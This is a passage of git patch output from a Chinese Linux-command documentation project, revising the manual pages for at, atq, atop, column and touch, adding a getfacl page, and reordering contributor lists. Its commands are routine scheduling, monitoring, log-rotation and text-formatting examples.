用于在指定时间执行命令。at允许使用一套相当复杂的指定时间的方法。它能够接受在当天的hh:mm（小时:分钟）式的时间指定。假如该时间已过去，那么就放在第二天执行。当然也能够使用midnight（深夜），noon（中午），teatime（饮茶时间，一般是下午4点）等比较模糊的词语来指定时间。用户还能够采用12小时计时制，即在时间后面加上AM（上午）或PM（下午）来说明是上午还是下午。也能够指定命令执行的具体日期，指定格式为month day（月 日）或mm/dd/yy（月/日/年）或dd.mm.yy（日.月.年）。指定的日期必须跟在指定时间的后面。 -上面介绍的都是绝对计时法，其实还能够使用相对计时法，这对于安排不久就要执行的命令是很有好处的。指定格式为：`now + count time-units`，now就是当前时间，time-units是时间单位，这里能够是minutes（分钟）、hours（小时）、days（天）、weeks（星期）。count是时间的数量，究竟是几天，还是几小时，等等。 更有一种计时方法就是直接使用today（今天）、tomorrow（明天）来指定完成命令的时间。 +上面介绍的都是绝对计时法，其实还能够使用相对计时法，这对于安排不久就要执行的命令是很有好处的。指定格式为：`now + count time-units`，now就是当前时间，time-units是时间单位，这里能够是minutes（分钟）、hours（小时）、days（天）、weeks（星期）。count是时间的数量，究竟是几天，还是几小时，等等。更有一种计时方法就是直接使用today（今天）、tomorrow（明天）来指定完成命令的时间。 -### 语法 +### 语法 ```shell at [-V] [-q 队列] [-f 文件] [-mldbv] 时间 at -c 作业 [作业...] ``` -### 选项 +### 选项 ```shell -f：指定包含具体指令的任务文件； @@ -25,13 +25,13 @@ at [-V] [-q 队列] [-f 文件] [-mldbv] 时间 at -c 作业 [作业...] -m：任务执行完成后向用户发送E-mail。 ``` -### 参数 +### 参数 日期时间：指定任务执行的日期时间。 -### 实例 +### 示例 -三天后的下午 5 点锺执行`/bin/ls`： +三天后的下午 5 点钟执行`/bin/ls`： ```shell [root@localhost ~]# at 5pm+3 days @@ -60,10 +60,6 @@ job 8 at 2013-01-06 17:20 删除已经设置的任务： ```shell -[root@localhost ~]# atq -8 2013-01-06 17:20 a root -7 2013-01-08 17:00 a root - [root@localhost ~]# atrm 7 [root@localhost ~]# atq 8 2013-01-06 17:20 a root @@ -80,5 +76,28 @@ umask 22此处省略n个字符 date >/root/2013.log ``` +使用任务文件执行任务： + +```shell +[root@localhost ~]# echo "/bin/ls" > mytask.txt +[root@localhost ~]# at -f mytask.txt 5pm+3 days +job 9 at 2013-01-08 17:00 +``` + +指定任务队列执行任务： +```shell +[root@localhost ~]# at -q b 5pm+3 days +at> /bin/ls +at> +job 10 at 2013-01-08 17:00 +``` +任务执行完成后发送E-mail通知： + +```shell +[root@localhost ~]# at -m 5pm+3 days +at> /bin/ls +at> +job 11 at 2013-01-08 17:00 +``` \ No newline at end of file From d27f05592debd0f09eb43e7011bf9617a1d3db4e Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 21 Dec 2024 11:16:46 +0000 Subject: [PATCH 0956/1019] doc: update README.md. --- README.md | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/README.md b/README.md index 0cc1ae7f14e..32266489134 100644 --- a/README.md +++ b/README.md @@ -339,6 +339,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Shan Chenyu Xingwen Zhang Xrtero +hululu1068 jcdj666 jqz3.tech juemuren4449 @@ -352,8 +353,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. dufu miniwater noodles2hg -nsnans -hululu1068 huangyao hotdogc1017 gcluffy @@ -369,13 +368,14 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. dayday cxalc Forever121 -oliver +chaofan +nsnans +zyimm 七朔 孤城落寞 尘埃 Wei Xu Loofra -扶苏如是 ReZero 极简XksA 移动的红烧肉 @@ -386,6 +386,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. 远方 Wendy May Yidan Wang +oliver rexlin600 sfwwslm shc @@ -401,8 +402,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. zodiac zoomdong zuixin369 -zyimm -chaofan Mystic MinsonLee Marnm From 0ae1a1bc6eee39d0c86b8dda2dbdd0764c7c1bba Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 21 Dec 2024 11:16:47 +0000 Subject: [PATCH 0957/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 782e5d82414..a8d7ec9c534 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -49,6 +49,7 @@ Shan Chenyu Xingwen Zhang Xrtero +hululu1068 jcdj666 jqz3.tech juemuren4449 @@ -62,8 +63,6 @@ dufu miniwater noodles2hg -nsnans -hululu1068 huangyao hotdogc1017 gcluffy @@ -79,13 +78,14 @@ dayday cxalc Forever121 -oliver +chaofan +nsnans +zyimm 七朔 孤城落寞 尘埃 Wei Xu Loofra -扶苏如是 ReZero 极简XksA 移动的红烧肉 @@ -96,6 +96,7 @@ 远方 Wendy May Yidan Wang +oliver rexlin600 sfwwslm shc @@ -111,8 +112,6 @@ zodiac zoomdong zuixin369 -zyimm -chaofan Mystic MinsonLee Marnm From b1272c9afbdbebabd3714be6ba8d85fa49a7db2a Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sat, 21 Dec 2024 19:18:27 +0800 Subject: [PATCH 0958/1019] doc: update command/atq.md --- command/atq.md | 38 ++++++++++++++++++++++++++++++++------ 1 file changed, 32 insertions(+), 6 deletions(-) diff --git a/command/atq.md b/command/atq.md index ae1ad20ddd5..5fd86e76812 100644 --- a/command/atq.md +++ b/command/atq.md @@ -7,30 +7,56 @@ atq **atq命令** 显示系统中待执行的任务列表，也就是列出当前用户的at任务列表。 -### 语法 +### 语法 ```shell atq [-V] [-q 队列] [-v] ``` -### 选项 +### 选项 ```shell -V：显示版本号； -q：查询指定队列的任务。 ``` -### 实例 +### 示例 + +创建一个在10分钟后执行的任务，并列出当前用户的任务列表： ```shell -at now + 10 minutes +[root@localhost ~]# at now + 10 minutes at> echo 1111 -at> +at> job 3 at Fri Apr 26 12:56:00 2013 +``` -atq +使用`atq`命令查看当前用户的任务列表： + +```shell +[root@localhost ~]# atq 3 Fri Apr 26 12:56:00 2013 a root ``` +查询指定队列的任务： +```shell +[root@localhost ~]# at -q a now + 10 minutes +at> echo "Task in queue a" +at> +job 4 at Fri Apr 26 13:06:00 2013 +``` +使用`atq`命令查看队列`a`中的任务： + +```shell +[root@localhost ~]# atq -q a +4 Fri Apr 26 13:06:00 2013 a root +``` + +显示`atq`命令的版本号： + +```shell +[root@localhost ~]# atq -V +atq (GNU at) 3.1.20 +``` \ No newline at end of file From 69890bc63e856ae264dd02fafd926a3d3821dac8 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sat, 21 Dec 2024 19:20:18 +0800 Subject: [PATCH 0959/1019] doc: update command/atop.md --- command/atop.md | 62 +++++++++++++++++++++++++++++++------------------ 1 file changed, 40 insertions(+), 22 deletions(-) diff --git a/command/atop.md b/command/atop.md index a33cf5ab340..0b5535f1f10 100644 --- a/command/atop.md +++ b/command/atop.md @@ -5,26 +5,32 @@ atop ## 补充说明 -[非内部程序，需要安装]它以一定的频率记录系统的运行状态，所采集的数据包含系统资源(CPU、内存、磁盘和网络)使用情况和进程运行情况，并能以日志文件的方式保存在磁盘中，服务器出现问题后，我们可获取相应的atop日志文件进行分析。atop是一款开源软件，我们可以从这里获得其[源码](https://github.com/Atoptool/atop)和[rpm安装包](https://pkgs.org/download/atop)。 +**atop命令** 是一款开源的系统监控工具，它以一定的频率记录系统的运行状态，采集的数据包含系统资源(CPU、内存、磁盘和网络)使用情况和进程运行情况，并能以日志文件的方式保存在磁盘中。服务器出现问题后，我们可获取相应的atop日志文件进行分析。atop是一款开源软件，我们可以从这里获得其[源码](https://github.com/Atoptool/atop)和[rpm安装包](https://pkgs.org/download/atop)。 ## 语法 ```shell -atop(选项)(参数) +atop [选项] [参数] ``` ## 说明 -**ATOP列**：该列显示了主机名、信息采样日期和时间点 +### ATOP列 -**PRC列**：该列显示进程整体运行情况 +该列显示了主机名、信息采样日期和时间点。 + +### PRC列 + +该列显示进程整体运行情况： - sys、usr字段分别指示进程在内核态和用户态的运行时间 - #proc字段指示进程总数 - #zombie字段指示僵尸进程的数量 - #exit字段指示atop采样周期期间退出的进程数量 -**CPU列**：该列显示CPU整体(即多核CPU作为一个整体CPU资源)的使用情况，我们知道CPU可被用于执行进程、处理中断，也可处于空闲状态(空闲状态分两种，一种是活动进程等待磁盘IO导致CPU空闲，另一种是完全空闲) +### CPU列 + +该列显示CPU整体(即多核CPU作为一个整体CPU资源)的使用情况： - sys、usr字段指示CPU被用于处理进程时，进程在内核态、用户态所占CPU的时间比例 - irq字段指示CPU被用于处理中断的时间比例 @@ -33,15 +39,21 @@ atop(选项)(参数) CPU列各个字段指示值相加结果为N00%，其中N为cpu核数。 -cpu列：该列显示某一核cpu的使用情况，各字段含义可参照CPU列，各字段值相加结果为100% +### cpu列 -**CPL列**：该列显示CPU负载情况 +该列显示某一核cpu的使用情况，各字段含义可参照CPU列，各字段值相加结果为100%。 + +### CPL列 + +该列显示CPU负载情况： - avg1、avg5和avg15字段：过去1分钟、5分钟和15分钟内运行队列中的平均进程数量 - csw字段指示上下文交换次数 - intr字段指示中断发生次数 -**MEM列**：该列指示内存的使用情况 +### MEM列 + +该列指示内存的使用情况： - tot字段指示物理内存总量 - free字段指示空闲内存的大小 @@ -49,43 +61,49 @@ cpu列：该列显示某一核cpu的使用情况，各字段含义可参照CPU - buff字段指示用于文件缓存的内存大小 - slab字段指示系统内核占用的内存大小 -**SWP列**：该列指示交换空间的使用情况 +### SWP列 + +该列指示交换空间的使用情况： - tot字段指示交换区总量 - free字段指示空闲交换空间大小 -**PAG列**：该列指示虚拟内存分页情况 +### PAG列 + +该列指示虚拟内存分页情况： + +- swin、swout字段：换入和换出内存页数 -swin、swout字段：换入和换出内存页数 +### DSK列 -**DSK列**：该列指示磁盘使用情况，每一个磁盘设备对应一列，如果有sdb设备，那么增多一列DSK信息 +该列指示磁盘使用情况，每一个磁盘设备对应一列，如果有sdb设备，那么增多一列DSK信息： - sda字段：磁盘设备标识 - busy字段：磁盘忙时比例 - read、write字段：读、写请求数量 -**NET列**：多列NET展示了网络状况，包括传输层(TCP和UDP)、IP层以及各活动的网口信息 +### NET列 -- XXXi 字段指示各层或活动网口收包数目 -- XXXo 字段指示各层或活动网口发包数目 +多列NET展示了网络状况，包括传输层(TCP和UDP)、IP层以及各活动的网口信息： -## atop日志 +- XXXi字段指示各层或活动网口收包数目 +- XXXo字段指示各层或活动网口发包数目 -每个时间点采样页面组合起来就形成了一个atop日志文件，我们可以使用"atop -r XXX"命令对日志文件进行查看。那以什么形式保存atop日志文件呢？ +## atop日志 -对于atop日志文件的保存方式，我们可以这样： +每个时间点采样页面组合起来就形成了一个atop日志文件，我们可以使用`atop -r XXX`命令对日志文件进行查看。日志文件的保存方式如下： - 每天保存一个atop日志文件，该日志文件记录当天信息 -- 日志文件以"atop_YYYYMMDD"的方式命名 +- 日志文件以`atop_YYYYMMDD`的方式命名 - 设定日志失效期限，自动删除一段时间前的日志文件 -其实atop开发者已经提供了以上日志保存方式，相应的atop.daily脚本可以在源码目录下找到。在atop.daily脚本中，我们可以通过修改INTERVAL变量改变atop信息采样周期(默认为10分钟)；通过修改以下命令中的数值改变日志保存天数(默认为28天)： +atop开发者提供了以上日志保存方式，相应的`atop.daily`脚本可以在源码目录下找到。在`atop.daily`脚本中，我们可以通过修改`INTERVAL`变量改变atop信息采样周期(默认为10分钟)；通过修改以下命令中的数值改变日志保存天数(默认为28天)： ```shell (sleep 3; find $LOGPATH -name 'atop_*' -mtime +28 -exec rm {} \; )& ``` -最后，我们修改cron文件，每天凌晨执行atop.daily脚本： +最后，我们修改cron文件，每天凌晨执行`atop.daily`脚本： ```shell 0 0 * * * root /etc/cron.daily/atop.daily @@ -93,4 +111,4 @@ swin、swout字段：换入和换出内存页数 ## 相关资料 -- [官方手册](http://www.atoptool.nl/download/man_atop-1.pdf) +- [官方手册](http://www.atoptool.nl/download/man_atop-1.pdf) \ No newline at end of file From cc8725734644d7b54ad55e602bbf10b8c99d6b26 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 21 Dec 2024 11:21:12 +0000 Subject: [PATCH 0960/1019] doc: update README.md. --- README.md | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index 32266489134..0cc1ae7f14e 100644 --- a/README.md +++ b/README.md @@ -339,7 +339,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Shan Chenyu Xingwen Zhang Xrtero -hululu1068 jcdj666 jqz3.tech juemuren4449 @@ -353,6 +352,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. dufu miniwater noodles2hg +nsnans +hululu1068 huangyao hotdogc1017 gcluffy @@ -368,14 +369,13 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. dayday cxalc Forever121 -chaofan -nsnans -zyimm +oliver 七朔 孤城落寞 尘埃 Wei Xu Loofra +扶苏如是 ReZero 极简XksA 移动的红烧肉 @@ -386,7 +386,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. 远方 Wendy May Yidan Wang -oliver rexlin600 sfwwslm shc @@ -402,6 +401,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. zodiac zoomdong zuixin369 +zyimm +chaofan Mystic MinsonLee Marnm From 065edf179120c3c494f9c49db6a542e27a6f211f Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 21 Dec 2024 11:21:13 +0000 Subject: [PATCH 0961/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index a8d7ec9c534..782e5d82414 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -49,7 +49,6 @@ Shan Chenyu Xingwen Zhang Xrtero -hululu1068 jcdj666 jqz3.tech juemuren4449 @@ -63,6 +62,8 @@ dufu miniwater noodles2hg +nsnans +hululu1068 huangyao hotdogc1017 gcluffy @@ -78,14 +79,13 @@ dayday cxalc Forever121 -chaofan -nsnans -zyimm +oliver 七朔 孤城落寞 尘埃 Wei Xu Loofra +扶苏如是 ReZero 极简XksA 移动的红烧肉 @@ -96,7 +96,6 @@ 远方 Wendy May Yidan Wang -oliver rexlin600 sfwwslm shc @@ -112,6 +111,8 @@ zodiac zoomdong zuixin369 +zyimm +chaofan Mystic MinsonLee Marnm From db88f1b96abf561fb43e6960c2e6b4367f83fdce Mon Sep 17 00:00:00 2001 From: Jeremy2214 <97098763+Jeremy2214@users.noreply.github.com> Date: Thu, 26 Dec 2024 22:09:22 +0800 Subject: [PATCH 0962/1019] doc: update touch.md (#624) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 修正拼写错误，把“更该”，改为“更改” --- command/touch.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/touch.md b/command/touch.md index 37a1a698718..384efbff5e5 100644 --- a/command/touch.md +++ b/command/touch.md @@ -20,7 +20,7 @@ touch(选项)(参数) -c：或--no-create 不建立任何文件； -d：<时间日期> 使用指定的日期时间，而非现在的时间； -f：此参数将忽略不予处理，仅负责解决BSD版本touch指令的兼容性问题； --m：或--time=mtime或--time=modify 只更该变动时间； +-m：或--time=mtime或--time=modify 只更改变动时间； -r：<参考文件或目录> 把指定文件或目录的日期时间，统统设成和参考文件或目录的日期时间相同； -t：<日期时间> 使用指定的日期时间，而非现在的时间； --help：在线帮助； From 43f5dc092158096541fe43765a21b47c32e71359 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 26 Dec 2024 14:10:10 +0000 Subject: [PATCH 0963/1019] doc: update README.md. --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 0cc1ae7f14e..7db5d94c9bc 100644 --- a/README.md +++ b/README.md @@ -384,7 +384,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Kyofin 谢民皆 远方 -Wendy May +bycs Yidan Wang rexlin600 sfwwslm From d4998a1000660bae9572328effbd136e6d350d70 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 26 Dec 2024 14:10:11 +0000 Subject: [PATCH 0964/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 782e5d82414..3cd264242ed 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -94,7 +94,7 @@ Kyofin 谢民皆 远方 -Wendy May +bycs Yidan Wang rexlin600 sfwwslm From 36a4edf169ac064f875621ab381fe6580032a07e Mon Sep 17 00:00:00 2001 From: QinShower Date: Sun, 29 Dec 2024 20:45:56 +0800 Subject: [PATCH 0965/1019] feat: Create getfacl.md (#625) add getfacl --- command/getfacl.md | 49 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 49 insertions(+) create mode 100644 command/getfacl.md diff --git a/command/getfacl.md b/command/getfacl.md new file mode 100644 index 00000000000..fbfb5271ee9 --- /dev/null +++ b/command/getfacl.md @@ -0,0 +1,49 @@ +getfacl +=== + +获取文件访问控制列表(access control lists) + +## 补充说明 + +对于每个文件，`getfacl`都会显示文件名、所有者、组和访问控制列表 (ACL)。如果目录有默认ACL，`getfacl` 也会显示默认ACL。非目录不能有默认ACL。 +如果在不支持 ACL 的文件系统上使用`getfacl`，`getfacl`会显示由传统文件模式权限位定义的访问权限。请参考`setfacl`。 + +### 选项 + +```shell +-a, --access # 显示文件访问控制列表。 +-d, --default # 显示默认访问控制列表。 +-c, --omit-header # 不显示注释头（每个文件输出的前三行）。 +-e, --all-effective # 打印所有有效权限注释，即使与 ACL 条目定义的权限相同。 +-E, --no-effective # 不打印有效权限注释。 +-s, --skip-base # 跳过只有基本 ACL 条目（所有者、组、其他）的文件。 +-R, --recursive # 递归列出所有文件和目录的 ACL。 +-L, --logical # 逻辑路径，跟踪目录的符号链接。默认行为是跟踪符号链接参数，跳过子目录中遇到的符号链接。仅与 -R 结合使用时有效。 +-P, --physical # 物理路径，不跟踪指向目录的符号链接。这也会跳过符号链接参数。 仅与 -R 结合使用时有效。 +-t, --tabular # 使用另一种表格输出格式。同时显示 ACL 和默认 ACL。因 ACL 屏蔽条目而无效的权限会以大写。ACL_USER_OBJ 和 ACL_GROUP_OBJ 条目的条目标签名称也以大写字母显示，这有助于识别这些条目。 +-p, --absolute-names # 不删除前导斜线字符 (`/')。默认行为是去掉前导斜线字符。 +-n, --numeric # 列出数字用户和组 ID。 +-v, --version # 打印 getfacl 的版本并退出。 +-h, --help # 打印命令行选项的帮助说明。 +-- # 命令行选项结束。所有剩余参数都被解释为文件名，即使它们以破折号字符开头。 +- # 如果文件名参数是单破折号字符，getfacl 将从标准输入读取文件列表。 +``` + +### 实例 + +getfacl 命令默认显示文件访问控制列表。打开终端，并输入以下命令： + +```shell +getfacl tmp + +# file: tmp +# owner: zdx +# group: zdx +# flags: -s- +user::rwx +group::rwx +other::r-x +default:user::rwx +default:group::rwx +default:other::r-x +``` From 6603a44cb5e02252ea88a6cb5b44d4d5fa21fede Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 29 Dec 2024 12:46:28 +0000 Subject: [PATCH 0966/1019] doc: update README.md. --- README.md | 66 +++++++++++++++++++++++++++---------------------------- 1 file changed, 33 insertions(+), 33 deletions(-) diff --git a/README.md b/README.md index 7db5d94c9bc..3a39ff29e2e 100644 --- a/README.md +++ b/README.md @@ -328,24 +328,25 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. will VVatt gggwvg -BingCoke -Ein Verne -FunKeen -Pan, Wen-Ming -RichardLCD Dazhuangw Alterem YH -Shan Chenyu -Xingwen Zhang Xrtero -jcdj666 -jqz3.tech -juemuren4449 -kassadin -kid1412621 -leo +Xingwen Zhang +Shan Chenyu +RichardLCD +Pan, Wen-Ming +Jeremy2214 +BingCoke +FunKeen +Ein Verne lewis1573 +leo +kid1412621 +kassadin +juemuren4449 +jqz3.tech +Forever121 linuxwd Ricardowang cole @@ -353,23 +354,23 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. miniwater noodles2hg nsnans -hululu1068 -huangyao -hotdogc1017 -gcluffy -githubwxz -ghy -gesty -gedune -gang.yang -ecjtusbs -duzhuoshanwai -dongpohezui -Deny -dayday -cxalc -Forever121 oliver +cxalc +dayday +Deny +dongpohezui +duzhuoshanwai +ecjtusbs +gang.yang +gedune +gesty +ghy +githubwxz +gcluffy +hotdogc1017 +huangyao +hululu1068 +jcdj666 七朔 孤城落寞 尘埃 @@ -402,7 +403,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. zoomdong zuixin369 zyimm -chaofan +Q.Ben Zheng Mystic MinsonLee Marnm @@ -418,7 +419,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. LaudOak Karl Horky Nexchard -Jeremy2214 Jack.A.Black Jack Huntout Zhang @@ -434,6 +434,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Azroy Alan 0x_000 +chaofan c2ch brinkqiang bestlaw66 @@ -463,8 +464,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Robigus Rining Wu Ray Yee -QinShower -Q.Ben Zheng +QinShower 贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 From 000517ef32d2b01efb98d58ea9b91f178000c37f Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 29 Dec 2024 12:46:28 +0000 Subject: [PATCH 0967/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 66 +++++++++++++++++++-------------------- 1 file changed, 33 insertions(+), 33 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 3cd264242ed..77ec8c5d696 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -38,24 +38,25 @@ will VVatt gggwvg -BingCoke -Ein Verne -FunKeen -Pan, Wen-Ming -RichardLCD Dazhuangw Alterem YH -Shan Chenyu -Xingwen Zhang Xrtero -jcdj666 -jqz3.tech -juemuren4449 -kassadin -kid1412621 -leo +Xingwen Zhang +Shan Chenyu +RichardLCD +Pan, Wen-Ming +Jeremy2214 +BingCoke +FunKeen +Ein Verne lewis1573 +leo +kid1412621 +kassadin +juemuren4449 +jqz3.tech +Forever121 linuxwd Ricardowang cole @@ -63,23 +64,23 @@ miniwater noodles2hg nsnans -hululu1068 -huangyao -hotdogc1017 -gcluffy -githubwxz -ghy -gesty -gedune -gang.yang -ecjtusbs -duzhuoshanwai -dongpohezui -Deny -dayday -cxalc -Forever121 oliver +cxalc +dayday +Deny +dongpohezui +duzhuoshanwai +ecjtusbs +gang.yang +gedune +gesty +ghy +githubwxz +gcluffy +hotdogc1017 +huangyao +hululu1068 +jcdj666 七朔 孤城落寞 尘埃 @@ -112,7 +113,7 @@ zoomdong zuixin369 zyimm -chaofan +Q.Ben Zheng Mystic MinsonLee Marnm @@ -128,7 +129,6 @@ LaudOak Karl Horky Nexchard -Jeremy2214 Jack.A.Black Jack Huntout Zhang @@ -144,6 +144,7 @@ Azroy Alan 0x_000 +chaofan c2ch brinkqiang bestlaw66 @@ -173,8 +174,7 @@ Robigus Rining Wu Ray Yee -QinShower -Q.Ben Zheng +QinShower

数据来源于 GitHub Contributors，使用action-contributors创建。 From ec0fe45c48cf973ae69974e7d766029ed4df2f90 Mon Sep 17 00:00:00 2001 From: duzhuoshanwai <65448395+duzhuoshanwai@users.noreply.github.com> Date: Sat, 11 Jan 2025 11:07:52 +0800 Subject: [PATCH 0968/1019] doc: update column.md (#629) * doc: update README.md. * doc: update template/contributors.ejs. * Update column.md * doc: update README.md. * doc: update template/contributors.ejs. --------- Co-authored-by: github-actions[bot] --- README.md | 146 +++++++++++++++++++------------------- command/column.md | 53 ++++++++++++++ template/contributors.ejs | 146 +++++++++++++++++++------------------- 3 files changed, 199 insertions(+), 146 deletions(-) diff --git a/README.md b/README.md index 3a39ff29e2e..79063b9841c 100644 --- a/README.md +++ b/README.md @@ -308,45 +308,46 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Zijing Zhang Fubin Zhang __FresHmaN -dulltackle -ernest 谈笑风生间 +ernest +dulltackle zyy2477 -rgshare -loverainye -lavaicer -YEUNGCHIE SteveLauC +YEUNGCHIE MioMuse James Wang +lavaicer +loverainye +rgshare Qliangw -Wang Yujia -alfred 沙漠之子 +Wang Yujia Shell xhal will VVatt gggwvg -Dazhuangw -Alterem -YH -Xrtero -Xingwen Zhang -Shan Chenyu -RichardLCD -Pan, Wen-Ming -Jeremy2214 +alfred +duzhuoshanwai +Ein Verne BingCoke FunKeen -Ein Verne -lewis1573 -leo -kid1412621 -kassadin -juemuren4449 +Jeremy2214 +Pan, Wen-Ming +QinShower +RichardLCD +Shan Chenyu +Xingwen Zhang +Xrtero +YH +Alterem +Dazhuangw jqz3.tech -Forever121 +juemuren4449 +kassadin +kid1412621 +leo +lewis1573 linuxwd Ricardowang cole @@ -355,55 +356,54 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. noodles2hg nsnans oliver -cxalc -dayday -Deny -dongpohezui -duzhuoshanwai -ecjtusbs -gang.yang -gedune -gesty -ghy -githubwxz -gcluffy -hotdogc1017 -huangyao -hululu1068 jcdj666 -七朔 -孤城落寞 -尘埃 -Wei Xu -Loofra -扶苏如是 -ReZero -极简XksA -移动的红烧肉 -继刚 -老犁 -Kyofin -谢民皆 -远方 -bycs +hululu1068 +huangyao +hotdogc1017 +gcluffy +githubwxz +ghy +gesty +gedune +gang.yang +ecjtusbs +dongpohezui +Deny +dayday +cxalc +Q.Ben Zheng Yidan Wang -rexlin600 -sfwwslm -shc -shuangcui -snovey -tangke -tutianyu101 -UniqueDing -weibk -Lingfeng Wang -yanyx -zjlovezj -zodiac -zoomdong -zuixin369 +bycs +远方 +谢民皆 +Kyofin +老犁 +继刚 +移动的红烧肉 +极简XksA +ReZero +扶苏如是 +Loofra +Wei Xu +尘埃 +孤城落寞 +七朔 zyimm -Q.Ben Zheng +zuixin369 +zoomdong +zodiac +zjlovezj +yanyx +Lingfeng Wang +weibk +UniqueDing +tutianyu101 +tangke +snovey +shuangcui +shc +sfwwslm +rexlin600 Mystic MinsonLee Marnm @@ -431,9 +431,10 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Danny DaYangtuo247 Cui Yang -Azroy +azroy Alan 0x_000 +Forever121 chaofan c2ch brinkqiang @@ -463,8 +464,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Rocher Robigus Rining Wu -Ray Yee -QinShower +Ray Yee 贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 diff --git a/command/column.md b/command/column.md index 62e30329471..c93c184692b 100644 --- a/command/column.md +++ b/command/column.md @@ -26,6 +26,8 @@ file（可选），当没有指定文件时，默认会从标准输入读取， -s, --separator 指定识别表格的分隔符 -o, --output-separator 输出表格的列分隔符，默认为两个空格 -x, --fillrows 在列之前填充行 +-N, --table-columns 添加列名（逗号分隔） +-J --json 格式化为JSON输出（需要配合-N/--table-columns使用） -h, --help 显示此帮助 -V, --version 输出版本信息 ``` @@ -121,3 +123,54 @@ MemReq Metal3 pin 108.215 159.92 RdWrBar Metal3 pin 87.415 159.92 clock Metal3 pin 74.935 159.92 ``` + +- 添加列名并以JSON格式输出 + +```shell +$ column -J -s ":" -N "Username,Password,UID,GID,Gecos,HomeDirectory,Shell" /etc/passwd +{ + "table": [ + { + "username": "root", + "password": "x", + "uid": "0", + "gid": "0", + "gecos": "root", + "homedirectory": "/root", + "shell": "/bin/bash" + },{ + "username": "daemon", + "password": "x", + "uid": "1", + "gid": "1", + "gecos": "daemon", + "homedirectory": "/usr/sbin", + "shell": "/usr/sbin/nologin" + },{ + "username": "bin", + "password": "x", + "uid": "2", + "gid": "2", + "gecos": "bin", + "homedirectory": "/bin", + "shell": "/usr/sbin/nologin" + },{ + "username": "sys", + "password": "x", + "uid": "3", + "gid": "3", + "gecos": "sys", + "homedirectory": "/dev", + "shell": "/usr/sbin/nologin" + },{ + "username": "sync", + "password": "x", + "uid": "4", + "gid": "65534", + "gecos": "sync", + "homedirectory": "/bin", + "shell": "/bin/sync" + } + ] +} +``` diff --git a/template/contributors.ejs b/template/contributors.ejs index 77ec8c5d696..65bfe00654f 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -18,45 +18,46 @@ Zijing Zhang Fubin Zhang __FresHmaN -dulltackle -ernest 谈笑风生间 +ernest +dulltackle zyy2477 -rgshare -loverainye -lavaicer -YEUNGCHIE SteveLauC +YEUNGCHIE MioMuse James Wang +lavaicer +loverainye +rgshare Qliangw -Wang Yujia -alfred 沙漠之子 +Wang Yujia Shell xhal will VVatt gggwvg -Dazhuangw -Alterem -YH -Xrtero -Xingwen Zhang -Shan Chenyu -RichardLCD -Pan, Wen-Ming -Jeremy2214 +alfred +duzhuoshanwai +Ein Verne BingCoke FunKeen -Ein Verne -lewis1573 -leo -kid1412621 -kassadin -juemuren4449 +Jeremy2214 +Pan, Wen-Ming +QinShower +RichardLCD +Shan 